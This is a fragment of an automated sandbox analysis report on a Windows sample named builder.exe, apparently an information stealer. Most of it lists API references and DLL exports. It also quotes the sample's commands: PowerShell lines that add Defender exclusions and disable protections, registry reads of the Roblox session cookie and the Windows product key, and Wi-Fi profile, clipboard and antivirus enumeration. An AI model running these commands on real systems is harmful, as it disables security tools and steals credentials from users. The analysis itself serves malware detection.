"RtlOemStringToUnicodeString"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlInitString"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "RtlxOemStringToUnicodeSize"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetNumberFormatW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp")39:Td02,Found string "%WINDIR%\system32\cmd.exe /c "net session"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-12006625793") Found string "%WINDIR%\system32\cmd.exe /c "net session"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-12006625793") Found string "%WINDIR%\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\builder.exe'"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-25631896786") Found string "%WINDIR%\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\builder.exe'"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-25631896786") Found string "%WINDIR%\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-25657716720"), Found string "%WINDIR%\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-25657716720") Found string "%WINDIR%\system32\cmd.exe /c "tasklist /FO LIST"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-28045377969") Found string "%WINDIR%\system32\cmd.exe /c "tasklist /FO LIST"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-28045377969") Found string "%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-28869821506") Found string "%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-28869821506") Found string "%WINDIR%\system32\cmd.exe /c "powershell Get-Clipboard"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-28909188732") Found string "%WINDIR%\system32\cmd.exe /c "powershell Get-Clipboard"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-28909188732") Found string "%WINDIR%\system32\cmd.exe /c "tree /A /F"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-29143858630") Found string "%WINDIR%\system32\cmd.exe /c "tree /A /F"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-29143858630") Found string "%WINDIR%\system32\cmd.exe /c "netsh wlan show profile"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-29291278267") Found string "%WINDIR%\system32\cmd.exe /c "netsh wlan show profile"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-29291278267") Found string "%WINDIR%\system32\cmd.exe /c "systeminfo"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-29403551542") Found string "%WINDIR%\system32\cmd.exe /c "systeminfo"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-29403551542") Found string "%WINDIR%\system32\cmd.exe /c "Camera.exe /devlist"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00007276-00000C47-32676130739") Found string "%WINDIR%\system32\cmd.exe /c "Camera.exe /devlist"" (Indicator: "cmd.exe /c"; Source: "00000000-00007276-00000C47-32676130739")3a:T7d6,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "builder.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "builder.exe") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "builder.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "The function "%1" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!." (Indicator: "GetLastError"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The function: "%1" failed unexpectedly. GetLastError=%2!d!." (Indicator: "GetLastError"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "GetLastError: %2!d!.%n" (Indicator: "GetLastError"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")3b:T845,"python310.dll" contains export function called "PyAIter_Check" at ordinal 1 "python310.dll" contains export function called "PyArg_Parse" at ordinal 2 "python310.dll" contains export function called "PyArg_ParseTuple" at ordinal 3 "python310.dll" contains export function called "PyArg_ParseTupleAndKeywords" at ordinal 4 "python310.dll" contains export function called "PyArg_UnpackTuple" at ordinal 5 "python310.dll" contains export function called "PyArg_VaParse" at ordinal 6 "python310.dll" contains export function called "PyArg_VaParseTupleAndKeywords" at ordinal 7 "python310.dll" contains export function called "PyArg_ValidateKeywordArguments" at ordinal 8 "python310.dll" contains export function called "PyAsyncGen_New" at ordinal 9 "python310.dll" contains export function called "PyAsyncGen_Type" at ordinal 10 "python310.dll" contains export function called "PyBaseObject_Type" at ordinal 11 "python310.dll" contains export function called "PyBool_FromLong" at ordinal 12 "python310.dll" contains export function called "PyBool_Type" at ordinal 13 "python310.dll" contains export function called "PyBuffer_FillContiguousStrides" at ordinal 14 "python310.dll" contains export function called "PyBuffer_FillInfo" at ordinal 15 "python310.dll" contains export function called "PyBuffer_FromContiguous" at ordinal 16 "python310.dll" contains export function called "PyBuffer_GetPointer" at ordinal 17 "python310.dll" contains export function called "PyBuffer_IsContiguous" at ordinal 18 "python310.dll" contains export function called "PyBuffer_Release" at ordinal 19 "python310.dll" contains export function called "PyBuffer_SizeFromFormat" at ordinal 20 "python310.dll" contains export function called "PyBuffer_ToContiguous" at ordinal 21 "python310.dll" contains export function called "PyByteArrayIter_Type" at ordinal 22 "python310.dll" contains export function called "PyByteArray_AsString" at ordinal 23 "python310.dll" contains export function called "PyByteArray_Concat" at ordinal 24 "python310.dll" contains export function called "PyByteArray_FromObject" at ordinal 253c:T1230,"/c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"" in Source: cmd.exe "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" in Source: powershell.exe "/c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"" in Source: cmd.exe "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" in Source: powershell.exe "/c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"" in Source: cmd.exe "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" in Source: powershell.exe "/c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"" in Source: cmd.exe "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" in Source: powershell.exe "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001732.00000000.176002.D9E30000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001732.00000000.176002.D9E30000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.177576.49F50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002000.00000001.177576.49F50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002000.00000001.177576.64110000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\AppID\systeminfo.exe" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "achine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{00000339--" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "\Software\Classes\CLSID\{00000339-0000-0000-C000-00?" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix" in Source: 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00003884.00000000.176630.B2F70000.00000002.mdmp3d:T6a6,Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6748:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_01" Process WMIC.exe created mutex with name "Local\SM0:6748:304:WilStaging_02" Process WMIC.exe created mutex with name "SM0:6748:120:WilError_01" Process WMIC.exe created mutex with name "Local\SM0:6748:120:WilError_01" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6748:120:WilError_01" Process tasklist.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7892:304:WilStaging_02" Process tasklist.exe created mutex with name "SM0:7892:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1004:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex 